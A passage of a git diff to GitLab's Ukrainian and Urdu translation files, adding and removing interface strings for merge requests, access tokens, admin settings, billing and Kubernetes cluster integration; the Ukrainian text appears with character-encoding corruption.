msgid "mrWidget|Merge failed."
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€Ð¾Ð¹ÑˆÐ»Ð¾ невдало."
@@ -39500,9 +39344,6 @@ msgstr "Детальніше"
msgid "mrWidget|Open in Web IDE"
msgstr "Відкрити у Web IDE"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "Конвеєр заблоковано. Конвеєр Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту Ð´Ð»Ñ Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ð¸Ð¼Ð°Ð³Ð°Ñ” ручної операції Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð²Ð¶ÐµÐ½Ð½Ñ"
-
msgid "mrWidget|Plain diff"
msgstr "ПроÑте порівнÑÐ½Ð½Ñ (diff)"
@@ -39563,8 +39404,8 @@ msgstr "HEAD гілки-джерела нещодавно було зміненÐ
msgid "mrWidget|The source branch has been deleted"
msgstr "Гілку-джерело видалено"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "Гілка-джерело на %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} цільової гілки"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "Гілка-джерело в процеÑÑ– видаленнÑ"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr "повинна бути пізніша за дату початку"
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr "%{item}, Ñ– %{lastItem}"
msgid "on track"
msgstr "по плану"
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr "назва тегу"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr "переглÑнути бінарні дані"
msgid "view the source"
msgstr "переглÑнути вихідний код"
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index 71771813051..6946b9e4a51 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:19\n"
+"PO-Revision-Date: 2021-07-01 21:00\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
